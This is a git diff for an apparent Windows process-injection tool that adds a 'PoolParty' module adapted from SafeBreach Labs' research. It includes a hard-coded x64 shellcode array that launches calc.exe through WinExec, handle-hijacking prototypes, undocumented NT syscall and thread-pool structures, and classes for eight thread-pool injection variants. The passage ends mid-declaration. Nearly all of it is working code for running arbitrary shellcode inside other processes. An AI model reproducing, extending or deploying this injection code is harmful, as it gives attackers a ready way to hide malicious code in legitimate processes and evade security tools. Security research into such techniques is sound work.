diff --git a/CMakeLists.txt b/CMakeLists.txt index 62c973e..924dec6 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -22,6 +22,14 @@ set(SINJECT_INCLUDE include/utils/error.hpp include/utils/helper.hpp include/utils/query.hpp + + include/app/poolparty/WorkerFactory.hpp + include/app/poolparty/HandleHijacker.hpp + include/app/poolparty/Misc.hpp + include/app/poolparty/Native.hpp + include/app/poolparty/PoolParty.hpp + include/app/poolparty/ThreadPool.hpp + include/app/poolparty/WinApi.hpp ) set(SINJECT_SOURCE src/main.cpp @@ -37,6 +45,15 @@ set(SINJECT_SOURCE src/utils/crypto.cpp src/utils/error.cpp src/utils/helper.cpp + + + src/app/poolparty/WorkerFactory.cpp + src/app/poolparty/HandleHijacker.cpp + src/app/poolparty/Misc.cpp + src/app/poolparty/Native.cpp + src/app/poolparty/PoolParty.cpp + src/app/poolparty/ThreadPool.cpp + src/app/poolparty/WinApi.cpp ) set(APP_RES src/winres.rc) diff --git a/README.md b/README.md index bba3b47..cdb4a8b 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,8 @@ # Update +- **[2026-2-8]** 测试小功能,新增PoolParty注入,**注意:**目前只提供shellcode注入且并不能保证稳定性,测试了使用Reflective Inject的Shellcode尝试注入dll,但是需要SeDebug权限而且必须先让目标进程处于调试状态(例如使用x64dbg附加后脱离),所以该版本代码暂时不提供dll注入,也无法保证shellcode一定能够注入。该部分使用:https://github.com/SafeBreach-Labs/PoolParty 项目进行改造。 + - **[2026-1-19]** 小更新,移除双击程序出现的黑框,修复了下拉列表出错的bug. - **[2026-1-16]** 小更新,不使用windows窗口,直接使用`imgui`窗口(从`WinMain`到`main`),并简化无窗口时的参数解析。虽然目前有bug... diff --git a/include/app/Injector.hpp b/include/app/Injector.hpp index 4b77774..1fcca42 100644 --- a/include/app/Injector.hpp +++ b/include/app/Injector.hpp @@ -6,6 +6,7 @@ #include "include/utils/error.hpp" #include "include/app/S-Wisper.h" #include "include/app/network.hpp" +#include "include/app/poolparty/PoolParty.hpp" #include #include @@ -27,7 +28,7 @@ typedef struct _ProcessInfo { DWORD pid; std::wstring processName; -} ProcessInfo, *pProcessInfo; +} ProcessInfo, * pProcessInfo; namespace XInject { @@ -48,11 +49,13 @@ namespace XInject bool reflectInject(DWORD pid, int mode, std::string args = ""); namespace reflector { - DWORD getOffset(HANDLE Image, CHAR *FuncName); + DWORD getOffset(HANDLE Image, CHAR* FuncName); DWORD rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress); } bool apcInject(DWORD pid, int mode, std::string args = ""); bool contextInject(DWORD pid, int mode, std::string args = ""); + bool poolPartyInject(DWORD pid, int mode, int method, std::string args); + inline unsigned char bootshellcode[3568] = { 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x77, 0x00, 0x00, 0x00, 0x90, 0x48, 0x83, @@ -352,9 +355,30 @@ namespace XInject 0x44, 0x02, 0x00, 0x00, 0x8B, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0x21, 0x04, 0x00, 0x00, 0xFF, 0x54, 0x24, 0x48, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x68, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC}; + 0xCC, 0xCC, 0xCC, 0xCC }; inline DWORD shellcodeSize = 3568; inline DWORD Offset = 0xC5; + + inline unsigned char g_Shellcode[] = + "\xE8\xBA\x00\x00\x00\x48\x8D\xB8\x9E\x00\x00\x00" + "\x48\x31\xC9\x65\x48\x8B\x41\x60\x48\x8B\x40\x18" + "\x48\x8B\x70\x20\x48\xAD\x48\x96\x48\xAD\x48\x8B" + "\x58\x20\x4D\x31\xC0\x44\x8B\x43\x3C\x4C\x89\xC2" + "\x48\x01\xDA\x44\x8B\x82\x88\x00\x00\x00\x49\x01" + "\xD8\x48\x31\xF6\x41\x8B\x70\x20\x48\x01\xDE\x48" + "\x31\xC9\x49\xB9\x47\x65\x74\x50\x72\x6F\x63\x41" + "\x48\xFF\xC1\x48\x31\xC0\x8B\x04\x8E\x48\x01\xD8" + "\x4C\x39\x08\x75\xEF\x48\x31\xF6\x41\x8B\x70\x24" + "\x48\x01\xDE\x66\x8B\x0C\x4E\x48\x31\xF6\x41\x8B" + "\x70\x1C\x48\x01\xDE\x48\x31\xD2\x8B\x14\x8E\x48" + "\x01\xDA\x49\x89\xD4\x48\xB9\x57\x69\x6E\x45\x78" + "\x65\x63\x00\x51\x48\x89\xE2\x48\x89\xD9\x48\x83" + "\xEC\x30\x41\xFF\xD4\x48\x83\xC4\x30\x48\x83\xC4" + "\x10\x48\x89\xC6\x48\x89\xF9\x48\x31\xD2\x48\xFF" + "\xC2\x48\x83\xEC\x20\xFF\xD6\xEB\xFE\x48\x8B\x04" + "\x24\xC3\C:\\Windows\\System32\\calc.exe\x00"; + + inline auto g_szShellcodeSize = sizeof(g_Shellcode); } } // namespace XInject \ No newline at end of file diff --git a/include/app/poolparty/HandleHijacker.hpp b/include/app/poolparty/HandleHijacker.hpp new file mode 100644 index 0000000..96679be --- /dev/null +++ b/include/app/poolparty/HandleHijacker.hpp @@ -0,0 +1,20 @@ +#pragma once + +#include + +#include "WinApi.hpp" +#include "Native.hpp" +#include "WorkerFactory.hpp" +#include "Misc.hpp" + +// ------------// +// Proto types // +// ------------// + +std::shared_ptr HijackProcessHandle(std::wstring wsObjectType, std::shared_ptr p_hTarget, DWORD dwDesiredAccess); + +std::shared_ptr HijackWorkerFactoryProcessHandle(std::shared_ptr p_hTarget); + +std::shared_ptr HijackIoCompletionProcessHandle(std::shared_ptr p_hTarget); + +std::shared_ptr HijackIRTimerProcessHandle(std::shared_ptr p_hTarget); \ No newline at end of file diff --git a/include/app/poolparty/Misc.hpp b/include/app/poolparty/Misc.hpp new file mode 100644 index 0000000..0f2775e --- /dev/null +++ b/include/app/poolparty/Misc.hpp @@ -0,0 +1,14 @@ +#pragma once + +#include + +#include +#include + +// ------------// +// Proto types // +// ------------// + +std::string GetLastErrorString(std::string FailedFunctionName, DWORD dwLastError); + +std::string w_FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, DWORD nSize, va_list* Arguments); diff --git a/include/app/poolparty/Native.hpp b/include/app/poolparty/Native.hpp new file mode 100644 index 0000000..f54a80f --- /dev/null +++ b/include/app/poolparty/Native.hpp @@ -0,0 +1,305 @@ +#pragma once + +#include +#include +#include +#include + +#include "Misc.hpp" + +#pragma comment(lib, "ntdll") + +// ---------// +// Structs // +// --------// + +typedef struct _FILE_IO_COMPLETION_INFORMATION +{ + PVOID KeyContext; + PVOID ApcContext; + IO_STATUS_BLOCK IoStatusBlock; +} FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION; + + +typedef struct _ALPC_PORT_ATTRIBUTES +{ + unsigned long Flags; + SECURITY_QUALITY_OF_SERVICE SecurityQos; + unsigned __int64 MaxMessageLength; + unsigned __int64 MemoryBandwidth; + unsigned __int64 MaxPoolUsage; + unsigned __int64 MaxSectionSize; + unsigned __int64 MaxViewSize; + unsigned __int64 MaxTotalSectionSize; + ULONG DupObjectTypes; +#ifdef _WIN64 + ULONG Reserved; +#endif +} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; + +typedef struct _PORT_MESSAGE +{ + union + { + struct + { + USHORT DataLength; + USHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + USHORT Type; + USHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE, * PPORT_MESSAGE; + +typedef struct _ALPC_MESSAGE { + PORT_MESSAGE PortHeader; + BYTE PortMessage[1000]; // Hard limit for this is 65488. An Error is thrown if AlpcMaxAllowedMessageLength() is exceeded +} ALPC_MESSAGE, * PALPC_MESSAGE; + +typedef struct _ALPC_MESSAGE_ATTRIBUTES +{ + ULONG AllocatedAttributes; + ULONG ValidAttributes; +} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; + +typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT +{ + PVOID CompletionKey; + HANDLE CompletionPort; +} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT; + +typedef struct _T2_SET_PARAMETERS_V0 +{ + ULONG Version; + ULONG Reserved; + LONGLONG NoWakeTolerance; +} T2_SET_PARAMETERS, * PT2_SET_PARAMETERS; + +typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO +{ + HANDLE HandleValue; + ULONG_PTR HandleCount; + ULONG_PTR PointerCount; + ACCESS_MASK GrantedAccess; + ULONG ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY]; +} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; + +// -------------// +// Enumerations // +// ------------// + +typedef enum +{ + SeDebugPrivilege = 20 +} PRIVILEGES; + +typedef enum +{ + AlpcAssociateCompletionPortInformation = 2 +} ALPC_PORT_INFOCLASS; + +typedef enum +{ + FileReplaceCompletionInformation = 61 +} FILE_INFOCLASS; + +typedef enum +{ + ProcessHandleInformation = 51 +} PROCESS_INFOCLASS; + +// ------------------------// +// System call definitions // +// ------------------------// + +EXTERN_C +NTSTATUS NTAPI ZwAssociateWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE TargetObjectHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation, + _Out_opt_ PBOOLEAN AlreadySignaled +); + +EXTERN_C +NTSTATUS NTAPI ZwSetInformationFile( + _In_ HANDLE hFile, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID FileInformation, + _In_ ULONG Length, + _In_ ULONG FileInformationClass +); + +EXTERN_C +NTSTATUS NTAPI NtAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes +); + +EXTERN_C +NTSTATUS NTAPI NtAlpcSetInformation( + _In_ HANDLE PortHandle, + _In_ ULONG PortInformationClass, + _In_opt_ PVOID PortInformation, + _In_ ULONG Length +); + +EXTERN_C +NTSTATUS NTAPI NtAlpcConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ DWORD ConnectionFlags, + _In_opt_ PSID RequiredServerSid, + _In_opt_ PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PSIZE_T ConnectMessageSize, + _In_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _In_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +EXTERN_C +NTSTATUS NTAPI RtlAdjustPrivilege( + _In_ ULONG Privilege, + _In_ BOOLEAN Enable, + _In_ BOOLEAN CurrentThread, + _Out_ PBOOLEAN Enabled +); + +EXTERN_C +NTSTATUS NTAPI ZwSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); + +EXTERN_C +NTSTATUS NTAPI NtSetTimer2( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PLARGE_INTEGER Period, + _In_ PT2_SET_PARAMETERS Parameters +); + +// ------------// +// Proto types // +// ------------// + +void w_ZwAssociateWaitCompletionPacket( + HANDLE WaitCopmletionPacketHandle, + HANDLE IoCompletionHandle, + HANDLE TargetObjectHandle, + PVOID KeyContext, + PVOID ApcContext, + NTSTATUS IoStatus, + ULONG_PTR IoStatusInformation, + PBOOLEAN AlreadySignaled +); + +void w_ZwSetInformationFile( + HANDLE hFile, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass +); + +HANDLE w_NtAlpcCreatePort(POBJECT_ATTRIBUTES ObjectAttributes, PALPC_PORT_ATTRIBUTES PortAttributes); + +void w_NtAlpcSetInformation(HANDLE hAlpc, ULONG PortInformationClass, PVOID PortInformation, ULONG Length); + +HANDLE w_NtAlpcConnectPort( + PUNICODE_STRING PortName, + POBJECT_ATTRIBUTES ObjectAttributes, + PALPC_PORT_ATTRIBUTES PortAttributes, + DWORD ConnectionFlags, + PSID RequiredServerSid, + PPORT_MESSAGE ConnectionMessage, + PSIZE_T ConnectMessageSize, + PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + PLARGE_INTEGER Timeout +); + +BOOLEAN w_RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread); + +void w_ZwSetIoCompletion(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation); + +void w_NtSetTimer2(HANDLE TimerHandle, PLARGE_INTEGER DueTime, PLARGE_INTEGER Period, PT2_SET_PARAMETERS Parameters); + +// ---------------// +// Error handlers // +// --------------// + +inline void NT_SUCCESS_OR_RAISE(std::string FunctionName, NTSTATUS Ntstatus) +{ + if (!NT_SUCCESS(Ntstatus)) + { + throw std::runtime_error(GetLastErrorString(FunctionName, RtlNtStatusToDosError(Ntstatus))); + } +} + +// ----------// +// Templates // +// ----------// + +template +std::vector w_QueryInformation(const std::string QueryFunctionName, TQueryFunction QueryFunction, TQueryFunctionArgs... QueryFunctionArgs) +{ + ULONG InformationLength = 0; + auto Ntstatus = STATUS_INFO_LENGTH_MISMATCH; + std::vector Information; + + do + { + Information.resize(InformationLength); + Ntstatus = QueryFunction(QueryFunctionArgs..., Information.data(), InformationLength, &InformationLength); + } while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus); + + if (!NT_SUCCESS(Ntstatus)) + { + throw std::runtime_error(GetLastErrorString(QueryFunctionName, RtlNtStatusToDosError(Ntstatus))); + } + + return Information; +} diff --git a/include/app/poolparty/PoolParty.hpp b/include/app/poolparty/PoolParty.hpp new file mode 100644 index 0000000..d5d3f39 --- /dev/null +++ b/include/app/poolparty/PoolParty.hpp @@ -0,0 +1,135 @@ +#pragma once + +#include +#include +#include + +#include "Misc.hpp" +#include "Native.hpp" +#include "WorkerFactory.hpp" +#include "ThreadPool.hpp" +#include "WinApi.hpp" +#include "HandleHijacker.hpp" + +#define POOL_PARTY_POEM "Dive right in and make a splash,\n" \ + "We're throwing a pool party in a flash!\n" \ + "Bring your swimsuits and sunscreen galore,\n" \ + "We'll turn up the heat and let the good times pour!\n" + +#define POOL_PARTY_ALPC_PORT_NAME L"\\RPC Control\\PoolPartyALPCPort" +#define POOL_PARTY_EVENT_NAME L"PoolPartyEvent" +#define POOL_PARTY_FILE_NAME L"PoolParty.txt" +#define POOL_PARTY_JOB_NAME L"PoolPartyJob" + +#define INIT_UNICODE_STRING(str) { sizeof(str) - sizeof((str)[0]), sizeof(str) - sizeof((str)[0]), const_cast(str) } + + +typedef struct _POOL_PARTY_CMD_ARGS +{ + BOOL bDebugPrivilege; + int VariantId; + int TargetPid; +} POOL_PARTY_CMD_ARGS, * PPOOL_PARTY_CMD_ARGS; + +class PoolParty +{ +protected: + DWORD m_dwTargetPid; + std::shared_ptr m_p_hTargetPid; + unsigned char* m_cShellcode; + SIZE_T m_szShellcodeSize; + PVOID m_ShellcodeAddress; +public: + PoolParty(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + std::shared_ptr GetTargetThreadPoolWorkerFactoryHandle() const; + WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryBasicInformation(HANDLE hWorkerFactory) const; + std::shared_ptr GetTargetThreadPoolIoCompletionHandle() const; + std::shared_ptr GetTargetThreadPoolTimerHandle() const; + std::shared_ptr GetTargetProcessHandle() const; + virtual void HijackHandles(); + virtual LPVOID AllocateShellcodeMemory() const; + void WriteShellcode() const; + virtual void SetupExecution() const PURE; + void Inject(); + virtual ~PoolParty() = default; +}; + +class AsynchronousWorkItemInsertion : public PoolParty { +protected: + std::shared_ptr m_p_hIoCompletion; +public: + AsynchronousWorkItemInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void HijackHandles() override; + virtual void SetupExecution() const PURE; + virtual ~AsynchronousWorkItemInsertion() = default; +}; + +class WorkerFactoryStartRoutineOverwrite : public PoolParty { +protected: + std::shared_ptr m_p_hWorkerFactory; + WORKER_FACTORY_BASIC_INFORMATION m_WorkerFactoryInformation; +public: + WorkerFactoryStartRoutineOverwrite(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void HijackHandles() override; + LPVOID AllocateShellcodeMemory() const override; + void SetupExecution() const override; + ~WorkerFactoryStartRoutineOverwrite() override = default; +}; + +class RemoteTpWorkInsertion : public PoolParty { +protected: + std::shared_ptr m_p_hWorkerFactory; +public: + RemoteTpWorkInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void HijackHandles() override; + void SetupExecution() const override; + ~RemoteTpWorkInsertion() override = default; +}; + +class RemoteTpWaitInsertion : public AsynchronousWorkItemInsertion { +public: + RemoteTpWaitInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void SetupExecution() const override; + ~RemoteTpWaitInsertion() override = default; +}; + +class RemoteTpIoInsertion : public AsynchronousWorkItemInsertion { +public: + RemoteTpIoInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void SetupExecution() const override; + ~RemoteTpIoInsertion() override = default; +}; + +class RemoteTpAlpcInsertion : public AsynchronousWorkItemInsertion { +public: + RemoteTpAlpcInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void SetupExecution() const override; + ~RemoteTpAlpcInsertion() override = default; +}; + +class RemoteTpJobInsertion : public AsynchronousWorkItemInsertion { +public: + RemoteTpJobInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void SetupExecution() const override; + ~RemoteTpJobInsertion() override = default; +}; + +class RemoteTpDirectInsertion : public AsynchronousWorkItemInsertion { +public: + RemoteTpDirectInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void SetupExecution() const override; + ~RemoteTpDirectInsertion() override = default; +}; + +class RemoteTpTimerInsertion : public PoolParty { +protected: + std::shared_ptr m_p_hWorkerFactory; + std::shared_ptr m_p_hTimer; +public: + RemoteTpTimerInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); + void HijackHandles() override; + void SetupExecution() const override; + ~RemoteTpTimerInsertion() override = default; +}; + +std::unique_ptr PoolPartyFactory(int VariantId, int TargetPid, unsigned char* shellcode, DWORD shellcodeSize); diff --git a/include/app/poolparty/ThreadPool.hpp b/include/app/poolparty/ThreadPool.hpp new file mode 100644 index 0000000..1101c66 --- /dev/null +++ b/include/app/poolparty/ThreadPool.hpp @@ -0,0 +1,385 @@ +#pragma once + +#include + +#include "Native.hpp" +#include "Misc.hpp" + +// ---------// +// Structs // +// --------// + +typedef struct _TP_TASK_CALLBACKS +{ + void* ExecuteCallback; + void* Unposted; +} TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS; + +typedef struct _TP_TASK +{ + struct _TP_TASK_CALLBACKS* Callbacks; + UINT32 NumaNode; + UINT8 IdealProcessor; + char Padding_242[3]; + struct _LIST_ENTRY ListEntry; +} TP_TASK, * PTP_TASK; + +typedef struct _TPP_REFCOUNT +{ + volatile INT32 Refcount; +} TPP_REFCOUNT, * PTPP_REFCOUNT; + +typedef struct _TPP_CALLER +{ + void* ReturnAddress; +} TPP_CALLER, * PTPP_CALLER; + +typedef struct _TPP_PH +{ + struct _TPP_PH_LINKS* Root; +} TPP_PH, * PTPP_PH; + +typedef struct _TP_DIRECT +{ + struct _TP_TASK Task; + UINT64 Lock; + struct _LIST_ENTRY IoCompletionInformationList; + void* Callback; + UINT32 NumaNode; + UINT8 IdealProcessor; + char __PADDING__[3]; +} TP_DIRECT, * PTP_DIRECT; + +typedef struct _TPP_TIMER_SUBQUEUE +{ + INT64 Expiration; + struct _TPP_PH WindowStart; + struct _TPP_PH WindowEnd; + void* Timer; + void* TimerPkt; + struct _TP_DIRECT Direct; + UINT32 ExpirationWindow; + INT32 __PADDING__[1]; +} TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE; + +typedef struct _TPP_TIMER_QUEUE +{ + struct _RTL_SRWLOCK Lock; + struct _TPP_TIMER_SUBQUEUE AbsoluteQueue; + struct _TPP_TIMER_SUBQUEUE RelativeQueue; + INT32 AllocatedTimerCount; + INT32 __PADDING__[1]; +} TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE; + +typedef struct _TPP_NUMA_NODE +{ + INT32 WorkerCount; +} TPP_NUMA_NODE, * PTPP_NUMA_NODE; + +typedef union _TPP_POOL_QUEUE_STATE +{ + union + { + INT64 Exchange; + struct + { + INT32 RunningThreadGoal : 16; + UINT32 PendingReleaseCount : 16; + UINT32 QueueLength; + }; + }; +} TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE; + +typedef struct _TPP_QUEUE +{ + struct _LIST_ENTRY Queue; + struct _RTL_SRWLOCK Lock; +} TPP_QUEUE, * PTPP_QUEUE; + +typedef struct _FULL_TP_POOL +{ + struct _TPP_REFCOUNT Refcount; + long Padding_239; + union _TPP_POOL_QUEUE_STATE QueueState; + struct _TPP_QUEUE* TaskQueue[3]; + struct _TPP_NUMA_NODE* NumaNode; + struct _GROUP_AFFINITY* ProximityInfo; + void* WorkerFactory; + void* CompletionPort; + struct _RTL_SRWLOCK Lock; + struct _LIST_ENTRY PoolObjectList; + struct _LIST_ENTRY WorkerList; + struct _TPP_TIMER_QUEUE TimerQueue; + struct _RTL_SRWLOCK ShutdownLock; + UINT8 ShutdownInitiated; + UINT8 Released; + UINT16 PoolFlags; + long Padding_240; + struct _LIST_ENTRY PoolLinks; + struct _TPP_CALLER AllocCaller; + struct _TPP_CALLER ReleaseCaller; + volatile INT32 AvailableWorkerCount; + volatile INT32 LongRunningWorkerCount; + UINT32 LastProcCount; + volatile INT32 NodeStatus; + volatile INT32 BindingCount; + UINT32 CallbackChecksDisabled : 1; + UINT32 TrimTarget : 11; + UINT32 TrimmedThrdCount : 11; + UINT32 SelectedCpuSetCount; + long Padding_241; + struct _RTL_CONDITION_VARIABLE TrimComplete; + struct _LIST_ENTRY TrimmedWorkerList; +} FULL_TP_POOL, * PFULL_TP_POOL; + +typedef struct _ALPC_WORK_ON_BEHALF_TICKET +{ + UINT32 ThreadId; + UINT32 ThreadCreationTimeLow; +} ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET; + +typedef union _TPP_WORK_STATE +{ + union + { + INT32 Exchange; + UINT32 Insertable : 1; + UINT32 PendingCallbackCount : 31; + }; +} TPP_WORK_STATE, * PTPP_WORK_STATE; + +typedef struct _TPP_ITE_WAITER +{ + struct _TPP_ITE_WAITER* Next; + void* ThreadId; +} TPP_ITE_WAITER, * PTPP_ITE_WAITER; + +typedef struct _TPP_PH_LINKS +{ + struct _LIST_ENTRY Siblings; + struct _LIST_ENTRY Children; + INT64 Key; +} TPP_PH_LINKS, * PTPP_PH_LINKS; + +typedef struct _TPP_ITE +{ + struct _TPP_ITE_WAITER* First; +} TPP_ITE, * PTPP_ITE; + +typedef union _TPP_FLAGS_COUNT +{ + union + { + UINT64 Count : 60; + UINT64 Flags : 4; + INT64 Data; + }; +} TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT; + +typedef struct _TPP_BARRIER +{ + volatile union _TPP_FLAGS_COUNT Ptr; + struct _RTL_SRWLOCK WaitLock; + struct _TPP_ITE WaitList; +} TPP_BARRIER, * PTPP_BARRIER; + +typedef struct _TP_CLEANUP_GROUP +{ + struct _TPP_REFCOUNT Refcount; + INT32 Released; + struct _RTL_SRWLOCK MemberLock; + struct _LIST_ENTRY MemberList; + struct _TPP_BARRIER Barrier; + struct _RTL_SRWLOCK CleanupLock; + struct _LIST_ENTRY CleanupList; +} TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP; + + +typedef struct _TPP_CLEANUP_GROUP_MEMBER +{ + struct _TPP_REFCOUNT Refcount; + long Padding_233; + const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs; + struct _TP_CLEANUP_GROUP* CleanupGroup; + void* CleanupGroupCancelCallback; + void* FinalizationCallback; + struct _LIST_ENTRY CleanupGroupMemberLinks; + struct _TPP_BARRIER CallbackBarrier; + union + { + void* Callback; + void* WorkCallback; + void* SimpleCallback; + void* TimerCallback; + void* WaitCallback; + void* IoCallback; + void* AlpcCallback; + void* AlpcCallbackEx; + void* JobCallback; + }; + void* Context; + struct _ACTIVATION_CONTEXT* ActivationContext; + void* SubProcessTag; + struct _GUID ActivityId; + struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket; + void* RaceDll; + FULL_TP_POOL* Pool; + struct _LIST_ENTRY PoolObjectLinks; + union + { + volatile INT32 Flags; + UINT32 LongFunction : 1; + UINT32 Persistent : 1; + UINT32 UnusedPublic : 14; + UINT32 Released : 1; + UINT32 CleanupGroupReleased : 1; + UINT32 InCleanupGroupCleanupList : 1; + UINT32 UnusedPrivate : 13; + }; + long Padding_234; + struct _TPP_CALLER AllocCaller; + struct _TPP_CALLER ReleaseCaller; + enum _TP_CALLBACK_PRIORITY CallbackPriority; + INT32 __PADDING__[1]; +} TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER; + +typedef struct _FULL_TP_WORK +{ + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + struct _TP_TASK Task; + volatile union _TPP_WORK_STATE WorkState; + INT32 __PADDING__[1]; +} FULL_TP_WORK, * PFULL_TP_WORK; + +typedef struct _FULL_TP_TIMER +{ + struct _FULL_TP_WORK Work; + struct _RTL_SRWLOCK Lock; + union + { + struct _TPP_PH_LINKS WindowEndLinks; + struct _LIST_ENTRY ExpirationLinks; + }; + struct _TPP_PH_LINKS WindowStartLinks; + INT64 DueTime; + struct _TPP_ITE Ite; + UINT32 Window; + UINT32 Period; + UINT8 Inserted; + UINT8 WaitTimer; + union + { + UINT8 TimerStatus; + UINT8 InQueue : 1; + UINT8 Absolute : 1; + UINT8 Cancelled : 1; + }; + UINT8 BlockInsert; + INT32 __PADDING__[1]; +} FULL_TP_TIMER, * PFULL_TP_TIMER; + +typedef struct _FULL_TP_WAIT +{ + struct _FULL_TP_TIMER Timer; + void* Handle; + void* WaitPkt; + void* NextWaitHandle; + union _LARGE_INTEGER NextWaitTimeout; + struct _TP_DIRECT Direct; + union + { + union + { + UINT8 AllFlags; + UINT8 NextWaitActive : 1; + UINT8 NextTimeoutActive : 1; + UINT8 CallbackCounted : 1; + UINT8 Spare : 5; + }; + } WaitFlags; + char __PADDING__[7]; +} FULL_TP_WAIT, * PFULL_TP_WAIT; + +typedef struct _FULL_TP_IO +{ + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + struct _TP_DIRECT Direct; + void* File; + volatile INT32 PendingIrpCount; + INT32 __PADDING__[1]; +} FULL_TP_IO, * PFULL_TP_IO; + +typedef struct _FULL_TP_ALPC +{ + struct _TP_DIRECT Direct; + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + void* AlpcPort; + INT32 DeferredSendCount; + INT32 LastConcurrencyCount; + union + { + UINT32 Flags; + UINT32 ExTypeCallback : 1; + UINT32 CompletionListRegistered : 1; + UINT32 Reserved : 30; + }; + INT32 __PADDING__[1]; +} FULL_TP_ALPC, * PFULL_TP_ALPC; + +typedef struct _FULL_TP_JOB +{ + struct _TP_DIRECT Direct; + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + void* JobHandle; + union + { + volatile int64_t CompletionState; + int64_t Rundown : 1; + int64_t CompletionCount : 63; + }; + struct _RTL_SRWLOCK RundownLock; +} FULL_TP_JOB, * PFULL_TP_JOB; + +typedef VOID(NTAPI* PTP_ALPC_CALLBACK)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PFULL_TP_ALPC Alpc +); + +// -------------------------------------// +// NTDLL Internal functions definitions // +// -------------------------------------// + +EXTERN_C +NTSTATUS NTAPI TpAllocAlpcCompletion( + _Out_ PFULL_TP_ALPC* AlpcReturn, + _In_ HANDLE AlpcPort, + 